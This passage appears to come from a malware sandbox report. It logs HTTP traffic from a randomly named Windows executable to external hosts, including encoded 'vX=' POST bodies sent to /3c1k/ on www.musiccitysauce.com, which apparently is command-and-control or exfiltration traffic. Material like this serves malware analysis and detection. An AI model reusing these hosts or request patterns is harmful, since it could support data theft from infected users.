6c 20 64 61 74 61 2d 61 64 62 6c 6f 63 6b 6b 65 79 3d 22 4d 46 77 77 44 51 59 4a 4b 6f 5a 49 68 76 63 4e 41 51 45 42 42 51 41 44 53 77 41 77 53 41 4a 42 41 4e 44 72 70 32 6c 7a 37 41 4f 6d 41 44 61 4e 38 74 41 35 30 4c 73 57 63 6a 4c 46 79 51 46 63 62 2f 50 32 54 78 63 35 38 6f 59 4f 65 49 4c 62 33 76 42 77 37 4a 36 66 34 70 61 6d 6b 41 51 56 53 51 75 71 59 73 4b 78 33 59 7a 64 55 48 43 76 62 56 5a 76 46 55 73 43 41 77 45 41 41 51 3d 3d 5f 76 46 6b 38 32 32 6b 34 31 34 57 34 4c 45 79 30 57 75 65 49 2b 56 54 53 69 64 6f 58 6f 37 4a 57 69 51 51 70 4e 4c 34 77 64 71 72 6a 58 63 69 33 41 35 59 49 66 6e 64 67 54 59 55 50 4d 6e 53 70 42 34 34 36 59 2f 34 4b 36 2b 33 6d 67 67 51 6b 56 6b 79 6f 34 67 3d 3d 22 20 6c 61 6e 67 3d 22 65 6e 22 20 73 74 79 6c 65 3d 22 62 61 63 6b 67 72 6f 75 6e 64 3a 20 23 32 42 32 42 32 42 3b 22 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 20 20 20 20 3c 6d [TRUNCATED] Data Ascii: <!doctype html><html data-adblockkey="MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBANDrp2lz7AOmADaN8tA50LsWcjLFyQFcb/P2Txc58oYOeILb3vBw7J6f4pamkAQVSQuqYsKx3YzdUHCvbVZvFUsCAwEAAQ==_vFk822k414W4LEy0WueI+VTSidoXo7JWiQQpNL4wdqrjXci3A5YIfndgTYUPMnSpB446Y/4K6+3mggQkVkyo4g==" lang="en" style="background: #2B2B2B;"><head> <meta charset="utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1"> <link rel="icon" href="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAIAAACQd1PeAAAADElEQVQI12P4//8/AAX+Av7czFnnAAAAAElFTkSuQmCC"> <link rel="preconnect" href="https://www.google
Jul 3, 2024 17:35:51.092334032 CEST	518	IN	Data Raw: 2e 63 6f 6d 22 20 63 72 6f 73 73 6f 72 69 67 69 6e 3e 0a 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 64 69 76 20 69 64 3d 22 74 61 72 67 65 74 22 20 73 74 79 6c 65 3d 22 6f 70 61 63 69 74 79 3a 20 30 22 3e 3c 2f 64 69 76 3e 0a 3c 73 63 72 69 Data Ascii: .com" crossorigin></head><body><div id="target" style="opacity: 0"></div><script>window.park = "eyJ1dWlkIjoiZWQxYTY4ZTctMzY5Ny00Mjc3LWFiMTEtZWM5ODk0ZjJiOTc4IiwicGFnZV90aW1lIjoxNzIwMDIwOTUxLCJwYWdlX3VybCI6Imh0dHA6Ly93d3cub3J0aG9ub3cubGl2ZS9

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.11.20	49785	199.59.243.226	80	7100	C:\Program Files (x86)\QDDYBUsOSIrUnKhQnRdQSkpzAmPBgXmqwzgPDIagYOtvjhNrDkkLmcM\jFlHFdZgIYNZqR.exe

Timestamp	Bytes transferred	Direction	Data
Jul 3, 2024 17:35:53.379725933 CEST	521	OUT	GET /c7lp/?vX=AZtUjmxX1+ilQa3cAX9z1397/CoXyobuelvuG0qO50IIYxbQIoa2zaoIA52olqXa0ysfLjRam7UGaI/Eozxq/aJIiPqlVVE06lZEm1LC+u5u0D0LnPSZBcs=&_B7=LxyxWrj8kri0gh HTTP/1.1 Host: www.orthonow.live Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.5 Connection: close User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_6_8) AppleWebKit/534.59.10 (KHTML, like Gecko) Version/5.1.9 Safari/534.59.10
Jul 3, 2024 17:35:53.523156881 CEST	1289	IN	HTTP/1.1 200 OK date: Wed, 03 Jul 2024 15:35:53 GMT content-type: text/html; charset=utf-8 content-length: 1466 x-request-id: 87754135-223a-4427-b9c2-49bf14975299 cache-control: no-store, max-age=0 accept-ch: sec-ch-prefers-color-scheme critical-ch: sec-ch-prefers-color-scheme vary: sec-ch-prefers-color-scheme x-adblock-key: MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBANDrp2lz7AOmADaN8tA50LsWcjLFyQFcb/P2Txc58oYOeILb3vBw7J6f4pamkAQVSQuqYsKx3YzdUHCvbVZvFUsCAwEAAQ==_GBCzeUnU5TO+MREERbxCb4copKTT2ACdMEZ0YR6PCQKM4hwE0OK+fQkd1IqsiheKv0gcsYkqHA1LzQsE0kCJQQ== set-cookie: parking_session=87754135-223a-4427-b9c2-49bf14975299; expires=Wed, 03 Jul 2024 15:50:53 GMT; path=/ connection: close Data Raw: 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 64 61 74 61 2d 61 64 62 6c 6f 63 6b 6b 65 79 3d 22 4d 46 77 77 44 51 59 4a 4b 6f 5a 49 68 76 63 4e 41 51 45 42 42 51 41 44 53 77 41 77 53 41 4a 42 41 4e 44 72 70 32 6c 7a 37 41 4f 6d 41 44 61 4e 38 74 41 35 30 4c 73 57 63 6a 4c 46 79 51 46 63 62 2f 50 32 54 78 63 35 38 6f 59 4f 65 49 4c 62 33 76 42 77 37 4a 36 66 34 70 61 6d 6b 41 51 56 53 51 75 71 59 73 4b 78 33 59 7a 64 55 48 43 76 62 56 5a 76 46 55 73 43 41 77 45 41 41 51 3d 3d 5f 47 42 43 7a 65 55 6e 55 35 54 4f 2b 4d 52 45 45 52 62 78 43 62 34 63 6f 70 4b 54 54 32 41 43 64 4d 45 5a 30 59 52 36 50 43 51 4b 4d 34 68 77 45 30 4f 4b 2b 66 51 6b 64 31 49 71 73 69 68 65 4b 76 30 67 63 73 59 6b 71 48 41 31 4c 7a 51 73 45 30 6b 43 4a 51 51 3d 3d 22 20 6c 61 6e 67 3d 22 65 6e 22 20 73 74 79 6c 65 3d 22 62 61 63 6b 67 72 6f 75 6e 64 3a 20 23 32 42 32 42 32 42 3b 22 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 20 20 20 20 3c 6d [TRUNCATED] Data Ascii: <!doctype html><html data-adblockkey="MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBANDrp2lz7AOmADaN8tA50LsWcjLFyQFcb/P2Txc58oYOeILb3vBw7J6f4pamkAQVSQuqYsKx3YzdUHCvbVZvFUsCAwEAAQ==_GBCzeUnU5TO+MREERbxCb4copKTT2ACdMEZ0YR6PCQKM4hwE0OK+fQkd1IqsiheKv0gcsYkqHA1LzQsE0kCJQQ==" lang="en" style="background: #2B2B2B;"><head> <meta charset="utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1"> <link rel="icon" href="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAIAAACQd1PeAAAADElEQVQI12P4//8/AAX+Av7czFnnAAAAAElFTkSuQmCC"> <link rel="preconnect" href="https://www.google
Jul 3, 2024 17:35:53.523170948 CEST	866	IN	Data Raw: 2e 63 6f 6d 22 20 63 72 6f 73 73 6f 72 69 67 69 6e 3e 0a 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 64 69 76 20 69 64 3d 22 74 61 72 67 65 74 22 20 73 74 79 6c 65 3d 22 6f 70 61 63 69 74 79 3a 20 30 22 3e 3c 2f 64 69 76 3e 0a 3c 73 63 72 69 Data Ascii: .com" crossorigin></head><body><div id="target" style="opacity: 0"></div><script>window.park = "eyJ1dWlkIjoiODc3NTQxMzUtMjIzYS00NDI3LWI5YzItNDliZjE0OTc1Mjk5IiwicGFnZV90aW1lIjoxNzIwMDIwOTUzLCJwYWdlX3VybCI6Imh0dHA6Ly93d3cub3J0aG9ub3cubGl2ZS9

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.11.20	49787	3.33.130.190	80	7100	C:\Program Files (x86)\QDDYBUsOSIrUnKhQnRdQSkpzAmPBgXmqwzgPDIagYOtvjhNrDkkLmcM\jFlHFdZgIYNZqR.exe

Timestamp	Bytes transferred	Direction	Data
Jul 3, 2024 17:37:31.398546934 CEST	800	OUT	POST /3c1k/ HTTP/1.1 Host: www.musiccitysauce.com Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate, br Origin: http://www.musiccitysauce.com Referer: http://www.musiccitysauce.com/3c1k/ Content-Length: 199 Connection: close Content-Type: application/x-www-form-urlencoded Cache-Control: max-age=0 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_6_8) AppleWebKit/534.59.10 (KHTML, like Gecko) Version/5.1.9 Safari/534.59.10 Data Raw: 76 58 3d 45 44 48 45 68 33 45 62 72 65 59 59 62 6f 2b 39 75 74 69 30 43 71 4a 6d 31 63 58 70 33 70 68 59 67 4a 46 57 4d 31 77 48 43 64 6b 6a 32 4b 69 76 31 37 79 4d 76 2f 44 55 6d 44 6a 38 6f 39 6f 43 59 73 4e 70 33 52 61 41 4d 44 33 43 77 59 58 44 36 44 6b 50 6b 72 68 6f 44 31 42 42 6a 64 55 4b 39 57 55 75 54 76 33 61 46 6e 4c 56 61 48 68 6b 73 68 69 70 67 2b 67 51 46 43 71 64 6d 42 5a 59 6a 30 6d 58 4b 56 6b 7a 4f 6a 4c 50 4d 37 54 6b 73 74 46 62 31 54 67 36 55 4a 31 68 2f 57 46 50 47 77 4b 4b 61 2b 79 66 5a 36 6e 31 5a 72 53 58 32 77 79 62 62 36 48 36 46 5a 6b 67 49 73 72 63 54 67 3d 3d Data Ascii: vX=EDHEh3EbreYYbo+9uti0CqJm1cXp3phYgJFWM1wHCdkj2Kiv17yMv/DUmDj8o9oCYsNp3RaAMD3CwYXD6DkPkrhoD1BBjdUK9WUuTv3aFnLVaHhkshipg+gQFCqdmBZYj0mXKVkzOjLPM7TkstFb1Tg6UJ1h/WFPGwKKa+yfZ6n1ZrSX2wybb6H6FZkgIsrcTg==

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.11.20	49788	3.33.130.190	80	7100	C:\Program Files (x86)\QDDYBUsOSIrUnKhQnRdQSkpzAmPBgXmqwzgPDIagYOtvjhNrDkkLmcM\jFlHFdZgIYNZqR.exe

Timestamp	Bytes transferred	Direction	Data
Jul 3, 2024 17:37:34.078990936 CEST	1140	OUT	POST /3c1k/ HTTP/1.1 Host: www.musiccitysauce.com Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate, br Origin: http://www.musiccitysauce.com Referer: http://www.musiccitysauce.com/3c1k/ Content-Length: 539 Connection: close Content-Type: application/x-www-form-urlencoded Cache-Control: max-age=0 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_6_8) AppleWebKit/534.59.10 (KHTML, like Gecko) Version/5.1.9 Safari/534.59.10 Data Raw: 76 58 3d 45 44 48 45 68 33 45 62 72 65 59 59 61 4c 6d 39 6f 4d 69 30 4b 71 4a 35 37 38 58 70 69 5a 68 69 67 4a 4a 57 4d 77 51 70 58 2b 4d 6a 33 72 53 76 30 2f 47 4d 71 2f 44 55 2b 7a 6a 31 6c 64 70 41 59 73 42 68 33 52 32 41 4d 48 58 43 78 71 7a 44 2f 7a 6b 49 39 62 68 76 45 31 42 36 31 74 55 58 39 57 59 55 54 75 6a 61 46 58 6e 56 5a 43 39 6b 36 51 69 32 7a 75 67 73 44 43 71 65 73 68 5a 65 6a 30 36 70 4b 51 51 4a 4f 51 58 50 4d 66 6a 6b 74 74 46 63 2f 6a 67 39 62 70 31 76 75 47 49 61 4f 43 65 42 56 38 62 46 58 2f 79 4c 45 4d 69 51 35 79 37 6a 61 5a 4b 44 4b 36 74 65 47 4e 72 52 45 58 32 38 70 41 79 64 78 41 4f 2b 4a 43 42 41 75 2f 45 76 70 46 6c 46 38 36 45 30 74 7a 73 31 59 51 76 32 46 4a 35 55 4c 76 47 33 64 71 2b 59 61 51 4a 2b 39 4a 4a 46 35 6e 35 41 2f 77 66 74 56 4e 48 58 38 78 63 38 66 69 4f 67 4a 59 69 5a 2f 41 6b 57 4d 4e 4c 68 4b 31 2f 66 78 68 4a 32 38 67 70 74 68 55 38 36 35 48 31 4b 70 78 4e 73 6a 36 48 70 79 6b 5a 43 6f 74 61 6d 62 5a 64 42 44 6b 59 75 42 33 74 6b 69 49 6b 73 69 64 6d [TRUNCATED] Data Ascii: vX=EDHEh3EbreYYaLm9oMi0KqJ578XpiZhigJJWMwQpX+Mj3rSv0/GMq/DU+zj1ldpAYsBh3R2AMHXCxqzD/zkI9bhvE1B61tUX9WYUTujaFXnVZC9k6Qi2zugsDCqeshZej06pKQQJOQXPMfjkttFc/jg9bp1vuGIaOCeBV8bFX/yLEMiQ5y7jaZKDK6teGNrREX28pAydxAO+JCBAu/EvpFlF86E0tzs1YQv2FJ5ULvG3dq+YaQJ+9JJF5n5A/wftVNHX8xc8fiOgJYiZ/AkWMNLhK1/fxhJ28gpthU865H1KpxNsj6HpykZCotambZdBDkYuB3tkiIksidmtoSL+JHnZk4hTngfag4cZJfjaopvPQK4dLIYqa+1tnm0+g7IAAtTpz7J5TaYnW4zN86mhgfhQBXM3bQycVxbhDzCFfIhcUxjHNa6Z1zpnKlOgIcvHdFP2XLYBY5jdD5Ddi1DZG3NUYZpCI9xU9+hzFdYT2BYRMy4rwetqLadnGq4hdoV9ernT3CMUxS4bJtIkBLdALqk=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
15	192.168.11.20	49789	3.33.130.190	80	7100	C:\Program Files (x86)\QDDYBUsOSIrUnKhQnRdQSkpzAmPBgXmqwzgPDIagYOtvjhNrDkkLmcM\jFlHFdZgIYNZqR.exe

Timestamp	Bytes transferred	Direction	Data
Jul 3, 2024 17:37:36.751774073 CEST	6445	OUT	POST /3c1k/ HTTP/1.1 Host: www.musiccitysauce.com Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate, br Origin: http://www.musiccitysauce.com Referer: http://www.musiccitysauce.com/3c1k/ Content-Length: 52927 Connection: close Content-Type: application/x-www-form-urlencoded Cache-Control: max-age=0 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_6_8) AppleWebKit/534.59.10 (KHTML, like Gecko) Version/5.1.9 Safari/534.59.10 Data Raw: 76 58 3d 45 44 48 45 68 33 45 62 72 65 59 59 61 4c 6d 39 6f 4d 69 30 4b 71 4a 35 37 38 58 70 69 5a 68 69 67 4a 4a 57 4d 77 51 70 58 2b 55 6a 33 64 47 76 31 65 47 4d 70 2f 44 55 67 44 6a 34 6c 64 6f 59 59 73 5a 6c 33 52 71 32 4d 46 76 43 32 35 4c 44 34 46 49 49 36 62 68 75 4c 56 42 43 6a 64 56 41 39 57 56 4f 54 75 33 73 46 6e 6a 56 61 43 4e 6b 6f 7a 36 70 37 65 67 51 44 43 71 53 37 52 59 6a 6a 30 75 35 4b 51 4d 4a 4f 54 7a 50 4d 75 66 6b 76 2b 74 63 6c 44 67 2b 53 4a 30 2b 33 57 49 52 4f 45 7a 36 56 38 61 77 58 36 53 4c 45 4c 65 51 34 78 44 69 61 35 4b 44 4a 36 74 52 43 4e 6d 57 45 58 71 6b 70 41 71 64 78 44 2b 2b 4a 69 42 41 6c 38 63 73 35 31 6c 48 76 71 45 5a 70 7a 68 5a 59 51 37 69 46 4c 31 55 65 4d 36 33 64 5a 47 59 66 31 39 2b 7a 4a 4a 48 6b 33 35 74 78 51 65 79 56 4e 58 74 38 79 55 4b 66 69 71 67 62 4a 43 5a 76 78 6b 52 59 64 4c 6a 41 56 2b 64 67 52 46 36 38 67 35 78 68 55 39 33 35 46 5a 4b 70 6c 78 73 69 37 48 6d 31 30 5a 46 78 39 61 4a 4f 70 52 4c 44 6e 38 32 42 33 46 30 69 4c 49 73 34 39 6d [TRUNCATED] Data Ascii: vX=EDHEh3EbreYYaLm9oMi0KqJ578XpiZhigJJWMwQpX+Uj3dGv1eGMp/DUgDj4ldoYYsZl3Rq2MFvC25LD4FII6bhuLVBCjdVA9WVOTu3sFnjVaCNkoz6p7egQDCqS7RYjj0u5KQMJOTzPMufkv+tclDg+SJ0+3WIROEz6V8awX6SLELeQ4xDia5KDJ6tRCNmWEXqkpAqdxD++JiBAl8cs51lHvqEZpzhZYQ7iFL1UeM63dZGYf19+zJJHk35txQeyVNXt8yUKfiqgbJCZvxkRYdLjAV+dgRF68g5xhU935FZKplxsi7Hm10ZFx9aJOpRLDn82B3F0iLIs49mt4hT5B3nepYhB4QfNg4hyJdPkodnPW6odaoYrMu1ThW00k7IAAtOYz7F5TPsnWP3NqZOhmfhWBXNxbQvsVxDDDyS7fKtcUE/HOb6WlzpuOlP4Q8zQdFS7XLp6fJPdRtjdzFDWDXNTbZoZCt9Y9+UGFdE52BwRIkUorOpJcbBoCpMBXZJNT8r2wT956nsOWu8OcJ9gPtQAMvTkbrTN5fvRUGbNH19r/kmdmFiojPEFC1kwEHBn8/248u+S9U0kqNuaT+DC1qKXWRio2QQWIhaLjoDsy3SKSBJUXH4Ht7RYaqAYdtjxTVl73QCfAyNN0KlP/UKE3QgZbqhfzzIhpxRt18D8IRoEiwKz4RtjS3C1ijBBH3LUECIInKZEGPP8ZlsRDd71PlBuQ5Flznl6hsBE+gSRbprwMvvzcu4wXpbjWpAyKVUDMm4YFTjwlHa326RgWmrzPBNhKh5PrwecaFPZoyoaX8QSx5rrN7XN/Pq79vh4Tb40jLNZV3Ddw5igWKqR4Wn6Ndg7byWQPRhmI9V6IYd9GfrlmvsiDq6axFQ/ZNd9THr7+Nb4tbO3Mjco97W+373iEeHZORs4f27JM/ji8CrRgn0R+CEK/Xr5rGvXCO2+fcjd5KWMgs3/9o+Mugnqn8q7s36Vl7MnmlSFMxKCofJdjJmrpzOi1 [TRUNCATED]
Jul 3, 2024 17:37:36.751853943 CEST	6445	OUT	Data Raw: 2b 77 70 6e 76 68 6b 52 4d 66 66 75 6d 55 4c 4a 4e 64 33 43 35 56 4b 69 78 57 5a 33 48 39 58 78 36 58 49 54 4e 49 4f 51 43 33 51 58 48 78 50 35 76 73 55 59 37 58 46 74 2f 4b 32 56 63 32 76 6e 71 61 44 4f 45 66 46 36 73 65 4a 67 53 44 6b 71 75 65 Data Ascii: +wpnvhkRMffumULJNd3C5VKixWZ3H9Xx6XITNIOQC3QXHxP5vsUY7XFt/K2Vc2vnqaDOEfF6seJgSDkqueIH2Y/dr6142ZkXNW11V1ntvQveFHDiJDZ1xBQhViI7rtvVpzFjws1AZLx1xf7b5ZLie1KzryIO6noUKQbqojglqsaLl+wvH4LMPsg+CwF/Zwug60L/xz/MPAB59m3P7uM4UW1sadynHNT1S/V0Ijj84Ee9+0aK0MH
Jul 3, 2024 17:37:36.871010065 CEST	2578	OUT	Data Raw: 4c 66 45 72 53 4b 33 6a 6d 52 54 41 45 77 6f 78 7a 6e 2f 49 4d 66 46 4a 6d 2f 4e 6f 54 74 49 50 5a 5a 46 47 52 4c 2b 31 71 4c 62 6c 50 37 4b 33 52 46 7a 32 52 46 36 67 74 46 39 79 61 6e 6f 37 51 67 52 68 2f 49 6a 55 45 50 31 55 6e 54 7a 44 64 43 Data Ascii: LfErSK3jmRTAEwoxzn/IMfFJm/NoTtIPZZFGRL+1qLblP7K3RFz2RF6gtF9yano7QgRh/IjUEP1UnTzDdCX5+HXu4DooxV3cn/g6jFW93N/J1XeqyqMED9BNWLA2Y8WtJGFRZc+ji/NHo+mNbxtZFi3/P6mbganEs7zktUxSz8s4E5MB0P9uUHHJINHGaWj5UgNvrcbeMq09Bp+C4skxtoNwujy5dm8a7dgaaaJwomey+5nwuVl
Jul 3, 2024 17:37:36.871144056 CEST	7734	OUT	Data Raw: 56 31 6c 70 42 7a 4a 7a 6f 4a 5a 51 6a 75 2b 31 54 30 69 52 65 34 4b 61 76 55 59 64 43 42 56 4e 55 37 70 72 33 57 46 4f 72 46 41 47 33 57 43 2f 57 41 6d 49 44 69 61 4f 46 48 74 45 76 2b 4d 72 72 64 6a 6a 6f 4e 31 53 4d 58 4a 6a 34 66 61 52 57 75 Data Ascii: V1lpBzJzoJZQju+1T0iRe4KavUYdCBVNU7pr3WFOrFAG3WC/WAmIDiaOFHtEv+MrrdjjoN1SMXJj4faRWulG/YDfWDketrMdkPdFIRgIstvnJVa/zlmTD/SxCjq7Qr+2tXK5EBj0zrsRebvtLBWVF7e2lCwS2eHVdEs+SU+BIirPswBlmUqZj1yB29IfuqS92Lhm+1IYLqWJaxB21YUs1uPkCeLqus8Ps5oRasEOwJhKDAn5PXI
Jul 3, 2024 17:37:36.871351957 CEST	3867	OUT	Data Raw: 58 6b 38 62 53 65 4c 45 4f 6a 4e 64 35 42 6f 37 77 54 58 70 6f 5a 70 35 6a 4b 4c 58 5a 36 76 6c 63 75 45 32 73 72 5a 67 63 70 77 6e 64 55 67 4b 55 37 47 65 59 4c 70 57 5a 67 67 42 48 51 4e 65 34 74 79 49 71 46 4a 73 51 73 46 59 4a 41 70 55 42 6c Data Ascii: Xk8bSeLEOjNd5Bo7wTXpoZp5jKLXZ6vlcuE2srZgcpwndUgKU7GeYLpWZggBHQNe4tyIqFJsQsFYJApUBlfDh/OYAatKqgDLOBQzPIFDTvoSOHH25t7ae7lBGA11bzoJiLZRDeDbAS8QOiDIe6T1b3/MyQP8RSj6BTLVRDkDggSYb5RhqLuYDhAfgxYw8W8wg215r3511YVJ/0VwYii8f2EMJFBP3+DZcuGR8eItLZDXODRDvGu
Jul 3, 2024 17:37:36.871527910 CEST	6445	OUT	Data Raw: 6a 33 32 62 4c 47 6a 67 42 6b 58 52 56 69 2f 72 69 31 36 42 36 5a 74 64 69 43 34 6a 31 6e 48 6b 4a 59 33 54 36 31 72 53 65 54 31 31 49 6b 57 58 45 61 73 6e 34 58 4d 54 35 33 35 4a 58 4a 4b 6b 66 36 46 53 55 34 71 68 44 6f 6e 36 31 42 50 64 31 54 Data Ascii: j32bLGjgBkXRVi/ri16B6ZtdiC4j1nHkJY3T61rSeT11IkWXEasn4XMT535JXJKkf6FSU4qhDon61BPd1TdElhAotl6W5u93rnpKkIuFscolTTFfm7vzSc1q4fTiKjabF33MYU9soiCbMVdXXGlyBzQeJhNKPRc7njiEy4NGtV81neY8hVUvoVP0FfzRcCfjRmPqB9jgP2zu/TZ1SxwdUxWk6UntSSlRHth6etzODn8jSL9ZFWG
Jul 3, 2024 17:37:36.871701002 CEST	5156	OUT	Data Raw: 49 49 4b 73 34 59 61 69 5a 6b 54 32 69 50 64 73 51 65 43 55 7a 4b 6b 6e 56 50 2f 42 63 67 69 58 6b 42 31 33 4e 6c 65 47 61 4b 2f 44 47 52 6f 66 46 2f 78 70 5a 74 67 44 44 36 6a 66 6b 77 49 5a 43 51 57 39 4b 58 57 45 2f 53 37 4d 32 75 61 77 4a 72 Data Ascii: IIKs4YaiZkT2iPdsQeCUzKknVP/BcgiXkB13NleGaK/DGRofF/xpZtgDD6jfkwIZCQW9KXWE/S7M2uawJrSdXE+J9nkKpvOFKZdLzj99v7lGh5ZqcwhOvA/vJL/V7ciEdpStOqwVckLo5LnrWUn3k0PJVHbpnm68Q8N5Hmqe5Jr6IjfkEuOc8QLPJS2LQ4k04bBR4c8nj3iRDHJslLrevZjGUZe/ohj8k5il5sytW/LBjziH8ZU
Jul 3, 2024 17:37:36.989980936 CEST	2578	OUT	Data Raw: 55 44 64 53 72 37 65 4a 65 30 68 53 61 4a 59 63 68 73 78 34 7a 62 51 6c 68 55 42 31 55 66 7a 55 34 69 78 4c 75 43 49 69 56 4b 5a 35 58 7a 41 77 45 33 4c 4d 34 73 52 61 72 4b 62 6b 36 70 6a 4c 4f 35 70 4a 76 36 64 66 68 65 30 31 6f 51 46 37 41 76 Data Ascii: UDdSr7eJe0hSaJYchsx4zbQlhUB1UfzU4ixLuCIiVKZ5XzAwE3LM4sRarKbk6pjLO5pJv6dfhe01oQF7Avfv2k04EVmGIS6f2sagUQF4cgQ3UdxHq0TeAY0uhL+7r/aupEwfNnXBNbwCimFGY5cl7rF5QS29B/RLhKdBTmc4kKq/DoiG4i2pl81XMjSdpSpcgEtRrFJifQY+BC9eYoElMbRkLmy2NbcSLba404o31xPts43eAGm
Jul 3, 2024 17:37:36.990248919 CEST	2578	OUT	Data Raw: 6a 6c 39 6a 44 32 31 33 4b 56 30 6a 52 55 7a 33 32 53 6b 6e 34 41 31 53 64 51 4f 51 74 6c 53 36 6f 37 52 6d 62 55 58 33 52 4e 6d 41 4e 58 45 39 7a 52 61 79 55 44 76 78 69 72 55 6c 61 46 6b 69 5a 74 5a 4c 55 62 56 42 6d 4b 65 4c 5a 6a 35 6d 53 46 Data Ascii: jl9jD213KV0jRUz32Skn4A1SdQOQtlS6o7RmbUX3RNmANXE9zRayUDvxirUlaFkiZtZLUbVBmKeLZj5mSFYTPF2yqLZDrsCgYWi+DdOtuLmedT2NKP+fW30/LZEy5LZoLwVxCzKrdReH19ydRpTh3RKkdd4WhfUmTvSrcrl2j/k9idkLwCFwN3xj2eTD8ns8RY0JUiXh3Kvu0qFfubB++TTsp3azmalwsBzEmOrD0HRu6d5yMFY
Jul 3, 2024 17:37:36.990416050 CEST	2578	OUT	Data Raw: 79 50 50 6a 46 57 63 67 31 42 45 6a 65 30 62 42 4d 41 4c 44 44 4c 30 4e 6a 32 2f 5a 79 35 70 75 73 48 79 65 41 72 50 37 37 69 59 35 34 2b 6c 78 4b 6f 6f 4e 38 6e 78 35 39 31 44 62 4c 72 4e 55 38 63 54 4e 50 43 33 69 76 74 65 6d 44 50 30 38 30 77 Data Ascii: yPPjFWcg1BEje0bBMALDDL0Nj2/Zy5pusHyeArP77iY54+lxKooN8nx591DbLrNU8cTNPC3ivtemDP080wSYtEF1EXmwkIHnwcczemQ0ToutraX9xx326kbDwjc6dKchCJWVJ+30uvFPuqDKUzLB3kC4HSHEEpqvCHE0h+vhWpsbfpqo4g79HCEsSa4N4FBFVtFdsQaVJd6O3F1BdZuG5dd9+fbCPidIcTRv44o8OmSmjVPPGR/
Jul 3, 2024 17:37:36.990586996 CEST	7129	OUT	Data Raw: 38 2b 50 69 5a 41 30 4b 71 54 33 72 37 72 5a 38 58 33 34 4a 43 43 68 51 75 68 70 45 59 56 75 6f 75 48 72 54 49 6c 64 33 79 69 4b 62 4a 69 64 56 33 37 72 4d 77 32 79 58 6c 30 42 43 7a 46 62 6f 4c 49 38 69 30 76 32 46 77 71 58 38 4f 37 71 34 30 75 Data Ascii: 8+PiZA0KqT3r7rZ8X34JCChQuhpEYVuouHrTIld3yiKbJidV37rMw2yXl0BCzFboLI8i0v2FwqX8O7q40uingsK2/oLD+5hxUSrb+UDRHxHo2aK1S9q47tCsQI/b6HZG2++QzCvPLQAATC4k6AeJlkuAY9dHzIIRu8lRjGOiWvboHJX8Wausy9AJWZqxMwHCjqHqx5RpgJ7nRG6qyWiCJUMIr7/yLnBAJkSInVDoxwJmS0OECPj

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
16	192.168.11.20	49790	3.33.130.190	80	7100	C:\Program Files (x86)\QDDYBUsOSIrUnKhQnRdQSkpzAmPBgXmqwzgPDIagYOtvjhNrDkkLmcM\jFlHFdZgIYNZqR.exe

Timestamp	Bytes transferred	Direction	Data
Jul 3, 2024 17:37:39.419517040 CEST	526	OUT	GET /3c1k/?vX=JBvkiC5/p5M0KduSv9nMAq1L7Ov9kIxy2ulrSw8DAMQ+oYrb/Oqt+Mz9qyL7kOgxOchk71vbEF/036GwyUgS8aFzNiZYrtFOzFZSCs3+FXjpDA1Q93DrzfE=&_B7=LxyxWrj8kri0gh HTTP/1.1 Host: www.musiccitysauce.com Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.5 Connection: close User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_6_8) AppleWebKit/534.59.10 (KHTML, like Gecko) Version/5.1.9 Safari/534.59.10
